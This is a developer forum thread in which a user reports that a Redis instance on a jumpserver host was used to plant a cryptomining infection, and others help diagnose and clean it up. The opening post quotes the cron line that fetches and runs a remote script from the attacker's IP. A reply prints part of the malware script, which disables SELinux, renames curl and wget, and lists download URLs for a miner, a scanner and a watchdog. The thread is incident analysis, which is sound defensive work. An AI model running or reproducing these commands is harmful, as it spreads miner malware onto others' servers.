首页   注册   登录
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Coding
V2EX  ›  程序员

服务器被马了,求帮忙

  •  
  •   xiaotianhu · 177 天前 · 6751 次点击
    这是一个创建于 177 天前的主题,其中的信息可能已经有所发展或是发生改变。

    公司用了个 jumpserver 做跳板机,之前运维同学弄的 版本 Version 1.3.2-2

    今天发现连不上了.

    进去发现 redis 出了问题.redis 是本地启动的,监听内网端口 排查发现 rdb 文件写入没权限,写入目录 /etc/cron.d 这...肯定不对啊.发现写入了一个文件:

    文件内容 */1 * * * * curl -fsSL http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/init.sh |sh

    被马无疑了.但是写入报了权限问题?这个文件怎么还写入成功了.

    现在想研究一下这个马,然后对服务器得全处理一下了.头疼. 这个马怎么解 shell 玩的不好,求帮忙

    49 回复  |  直到 2019-06-23 02:36:06 +08:00
        1
    firebroo   177 天前
    排除对方拿了权限之后是否改你 redis 启动权限,监听地址,不是的话,大概不是从 redis 进来的。
        2
    catcalse   177 天前
    中了挖矿病毒。。默哀。。
        3
    shooter556   177 天前
    先杀进程
    删除相关文件
    删除 crontab

    监控网络连接异常

    手不够快有可能需要写脚本,有些进程会 respawn 的
        4
    shooter556   177 天前
    想研究的话,不用删除,放到某个地方就行了
        5
    houzhimeng   177 天前
    挖矿,数据都在 tmp 下了,服务器上应该有 shell 脚本
        6
    xiaotianhu   177 天前
    @firebroo 那不至于用 redis 写文件来执行啊. 我怀疑是从 jumpserver 给 redis 执行命令.
        7
    xiaotianhu   177 天前
    @shooter556 docker 安全么.隔离性够用的吧
        8
    defunct9   177 天前   ♥ 15
    开 ssh,让我上去看看
        9
    lvzhiqiang   177 天前
    那个定时任务归属那个用户的? -- 还有,重装系统吧,你不知道系统那个角落还 藏有挂马脚本。
        10
    1ffree   177 天前
    上次中招, 就把机器改成 ssh 密钥登陆了, 再没发生过
        11
    zarte   177 天前   ♥ 2
    @Livid
    已经不止一次看到#8 defunct9 回复这句话了
        12
    gaius   177 天前
    查下进程,可能还有进程会自动下载脚本跑
        13
    xiaotianhu   177 天前
    搞定了,应该是没执行成功.虚惊了
        14
    muchengxue   177 天前
    挖矿的,利用了 redis 写文件的特性,你 redis 没设置密码吧
        15
    cominghome   177 天前
    你们的跳板机居然可以从外网访问到,心也太大了吧
        16
    Livid   V2EX Moderator   177 天前
    @zarte 谢谢举报。那个账号会被彻底 ban。
        17
    caryqy   177 天前   ♥ 4
    @zarte 人家 8 楼之前是有真正给提问的上去解决问题的,既然 8 楼写出来了为什么不能认为人家是想给 lz 提供解决办法呢
    @Livid
        18
    Removable   177 天前
    @Livid #15 站长再仔细调查一下吧,那个老哥我觉得应该是真的想帮忙的
        19
    Livid   V2EX Moderator   177 天前   ♥ 1
    @caryqy
    @Removable

    我看了那个账号的回复记录,“开 ssh,我上去看看”他以前用同样的方式回复过很多次。

    你会把你们公司的服务器的 ssh 开给不认识的人吗?会有任何公司允许这种事情发生吗?

    因此这种毫无意义的回复,只是在灌水而已。当灌水灌成套路的时候,这样的账号会被处理。
        20
    kangmang92   177 天前
    @xiaotianhu 如何搞定的 详细说说 我的 docker 跑的 redis 也发现了 这个 多谢
        21
    version   177 天前 via iPhone
    应该是你服务器主机没有屏蔽 6379 端口,我之前测试服务器也是试过,平时正常是 127 本机监控,后来业务开内网监听就出事了,后来发现安全组没有开屏蔽 6379,以前研究过,还找到了挖矿账号,查到不少余额,不过也只能重新安装了,一般服务器开防火墙应该没问题,攻击来源也没猜到,其它人也用,评定不了
        22
    oneisall8955   177 天前 via Android
    早就遇到过了 redis 的端口和配置问题,
    1 没密码
    2 端口太普通
    3 默认配置有那个写本地的权限
    解决方案,指标+治本
    1,按照网上重新配置密码端口和去掉权限
    2,kill 掉进程
    3,删除公钥中不是你的密钥
    4,删除 crontab 里面的定时任务
        23
    lepig   177 天前
    楼主可以参考下 这个帖子

    https://www.v2ex.com/t/537457#reply106
        24
    lepig   177 天前
    提供一个清理脚本,仅供参考。我在自己的个人服务器上执行过
    https://coding.net/u/omg/p/AA/git/blob/master/%E6%B8%85%E7%90%86%E8%84%9A%E6%9C%AC.sh


    不过,如果可以 还是建议重装一次系统
        25
    linnil   177 天前
    能 ps 出那个进程么? vi 删掉定时任务之后会立刻重新恢复么?/proc 下有对应进程 ID 的文件夹么?
    如果上面的回答都是 no,那么准备好迁移的数据,重装系统吧。如果不是,参考前面给的建议。
    对付`rootkit`难度爆表。
        26
    liuyi_beta   177 天前
    把脚本里的 eval 改成 echo,在 shell 里执行,看解密出来的那一串字符,然后 rev,就是一串 base64,然后解码就能看到具体的脚本执行内容了,就是挖矿脚本
        27
    pyengwoei   177 天前
    @Livid 能看看 我帐户被 BAN 了吗 /(ㄒoㄒ)/~~ 发帖子感觉都没人看见了
        28
    viruser   177 天前
    还是 ddg 挖矿木马,可能内网机子由于其他原因感染了木马,然后木马爆破出 redis 密码进行了横向扩散。新木马和之前的相比,新木马尝试使用 drupal, Elasticsearch, Hadoop, redis, spring, sqlserver, ssh, thinkphp, weblogic 等服务的配置失误 /漏洞进行 RCE... ![Annotation 2019-06-21 153649.png]( https://i.loli.net/2019/06/21/5d0c892adfa7978592.png)
        29
    dunhanson   177 天前   ♥ 2
    @Livid

    具体到这个问题
    10 个人装 linux,就有 10 种不同的 linux
    所以不上机器,就猜火车,我觉得远不如上去看看到底是怎么回事有用
    redis 的漏洞我见过两种,所以懒得猜,看具体情况再分析

    版主的言论和脑回路真是不敢苟同

    每个人可以选择相信别人,也可以选择不信
    物以类聚,人以群分嘛

    至少我在 v2 的时候帮人解决了不少问题,交易也都先付款,感觉还颇不错
    很有诚信的一个论坛

    找了几贴(被封了还翻贴真累撒):
    https://v2ex.com/t/530877#reply19
    https://www.v2ex.com/t/534100#reply29
    https://v2ex.com/t/530578#reply54
    再靠前的就懒得翻了

    感觉版主跟 abmin521 是同一类人

    封了就封了吧,最近 V2 也怪怪的,似乎大家也很争议。
        30
    dunhanson   177 天前   ♥ 2
    @Livid 被封的老哥,之前帮我解决过 K8S 的问题,代回复一下
        31
    Livid   V2EX Moderator   177 天前
    @dunhanson 谢谢你。我看了那些帖子。这件事情上是我错了。已将 @defunct9 的账号恢复:对不起,是我的错。
        32
    defunct9   177 天前   ♥ 2
    从小黑屋里放出来啦。

    @dunhanson 多谢啦
    @Livid 我也收回自己的言论,抱歉。
        33
    zhouwei520   177 天前   ♥ 3
    @defunct9 @dunhanson 好暖 \(^o^)/~
        34
    Allenqjy   177 天前
    @defunct9 加油!
        35
    firebroo   177 天前
    太长了,复制不出来,你找个虚拟机 sh -x xx.sh 就行
    #!/bin/sh
    setenforce 0 2>dev/null
    echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
    sync && echo 3 >/proc/sys/vm/drop_caches
    crondir='/var/spool/cron/'"$USER"
    cont=`cat ${crondir}`
    ssht=`cat /root/.ssh/authorized_keys`
    echo 1 > /etc/sysupdates
    rtdir="/etc/sysupdates"
    bbdir="/usr/bin/curl"
    bbdira="/usr/bin/url"
    ccdir="/usr/bin/wget"
    ccdira="/usr/bin/get"
    mv /usr/bin/wget /usr/bin/get
    mv /usr/bin/curl /usr/bin/url
    miner_url="https://pixeldrain.com/api/file/qfCJh56W"
    miner_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/sysupdate"
    miner_size="854364"
    sh_url="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/update.sh"
    sh_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/update.sh"
    config_url="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/config.json"
    config_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/config.json"
    config_size="3300"
    scan_url="https://pixeldrain.com/api/file/GXot-j_7"
    scan_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/networkservice"
    scan_size="2345296"
    watchdog_url="https://pixeldrain.com/api/file/9aWNKUNO"
    watchdog_url_backup="http://103.35.72.209:8667/6HqJB0SPQqbFbHJD/sysguard"
    watchdog_size="1587024"
        36
    abcdocker   177 天前
    学习我的博客,研究一下运维如何快速购买机票跑路
    i4t.com
        37
    dif   177 天前
    我也遇到过,加了个密码就解决了。
    docker run -d --name redis-server -p 6379:6379 redis --requirepass "用 1password 生成的密码"就行了。
        38
    mink   177 天前
    我也遇到过,在腾讯云使用 docker redis 镜像的时候发现有挖矿脚本。 怕服务器里面还有脚本就重装了, 然后 redis 下载了官方的没有用 docker, 怀疑是 docker 中 redis 镜像已经中招了。
        39
    imlz   177 天前
    @xiaotianhu 你好,我是 jumpserver 的代码贡献者之一,你说的问题我们能否私聊一下? [email protected]
        40
    akira   177 天前
    重新搭建一套服务器环境吧,原环境应该都是不可靠的了
        41
    kzfile   177 天前
    我用的 windows server 跑的 redis,狂毒写入了脚本,但是跑不动 :doge
        42
    rootliang   177 天前
    @defunct9 #32 我还以为 SSH 老哥被封了心里一紧,还好放出来了:doge:
        43
    onepunch   176 天前
    之前服务器也出现过挖矿病毒,会有一个叫 http 的进程, cpu 直接 100% ;仔细看看进程有没有问题吧
        44
    qwqVictor   176 天前
    闲的没事在 Docker 里执行了一下,用 bash -x 还原了执行过程,然后抓出来三个 binary,楼主拿着它研究一下,最近没啥时间不然我也研究一下。
    三个 binary、原脚本和执行过程的输出都打包了: https://cloud.qwq.ren/s/cmcjRJSGXdTmr6f
    另外扫了下这个马下载服务器的端口,发现它挺空的,估计是专用来下载马的。这个 IP 的 AS 号为 AS134520,属于 TechAvenue 公司,估计是 GigsGigsCloud 的机子 (我自己的转发机也是 GigsGigsCloud 所以很熟 233333)。你可以尝试联系服务商举报这个机子滥用来报复他一下 233333
        45
    qwqVictor   176 天前
    sysupdate 似乎就是挖门罗币的 xmrig
        46
    xiaotianhu   175 天前
    @kangmang92 我的 redis 因为没有 root 权限,所以他没执行成功 失败了.

    你用关键词 redis 挖矿 去谷歌 ,有很多案例 写的很详细,如何处理.可以参考.
        47
    xiaotianhu   175 天前
    @liuyi_beta 是这样,我也用这个方法分析了一下,感谢.
        48
    xiaotianhu   175 天前
    @imlz 应该是 redis 的问题.跟 jumpserver 不知道关系大不大

    但是我 redis 监听是内网端口,无密码.机器在阿里云 vpc 内,我理解的外面的人应该是无法访问我 vpc 内网的 redis 啊,只有 jumpserver 的 web 和 ssh 有外网权限.ssh 有问题阿里云会提醒,但是并没有 ssh 相关报警.

    所以怀疑是 jumpserver.这机器上没有其他的业务用了 redis,但是有在跑一个 zabbix 的 client
        49
    realpg   175 天前
    @xiaotianhu #46
    挖矿需要啥 root 权限……
    而且都成功写入 cron 了……
    没执行大概是你的 cron 服务有问题

    基本上这类挖矿的都不要权限,甚至大量 nobody 执行的(多见与垃圾 PHP 代码被注出来的)
    关于   ·   FAQ   ·   API   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   2491 人在线   最高记录 5043   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.3 · 27ms · UTC 13:22 · PVG 21:22 · LAX 05:22 · JFK 08:22
    ♥ Do have faith in what you're doing.